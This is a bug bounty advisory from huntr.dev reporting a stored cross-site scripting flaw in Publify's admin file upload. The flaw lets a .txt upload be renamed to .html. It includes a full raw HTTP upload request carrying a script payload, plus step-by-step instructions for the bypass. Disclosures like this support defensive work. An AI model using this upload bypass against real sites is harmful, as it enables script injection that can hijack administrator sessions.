Lucene search

K
huntrNinj4c0d3r4D97F665-C9F1-4C38-B774-692255A7C44C
HistoryMay 19, 2022 - 11:52 p.m.

Bypass Restriction and File Upload Leads to XSS Stored - TXT to HTML

2022-05-1923:52:38
ninj4c0d3r
www.huntr.dev
19
unrestricted file upload
xss stored
bypass restriction
html file
manipulate request

EPSS

0.001

Percentile

21.4%

Description

Unrestricted file upload allowed the attacker to manipulate the request and bypass the protection of HTML files using a text file, XSS Stored was obtained when uploading the HTML file.

Proof of Concept

POST /admin/resources/upload HTTP/1.1
Host: demo-publify.herokuapp.com
Cookie: _publify_blog_session=SESSION_HERE
Content-Length: 649
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR7LwpeBoKn4f7hI5
Referer: https://demo-publify.herokuapp.com/admin/resources
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="utf8"

รขล“โ€œ
------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="authenticity_token"

TOKEN_HERE
------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="upload"; filename="w00t.txt" -- Change to w00t.html
Content-Type: text/plain

<script>alert('OOPSS');</script>
------WebKitFormBoundaryR7LwpeBoKn4f7hI5
Content-Disposition: form-data; name="commit"

Upload
------WebKitFormBoundaryR7LwpeBoKn4f7hI5--

  • Step 1 - Upload a .txt file and intercept the request

  • Step 2 - Change the extension of filename to .html

  • Step 3 - Submit a request and the file will be uploaded successfully

Video

https://drive.google.com/file/d/1bNffqwUl_9Sn7wqpBvEAqvV_PGRadlPb/view?usp=sharing

EPSS

0.001

Percentile

21.4%

Related for 4D97F665-C9F1-4C38-B774-692255A7C44C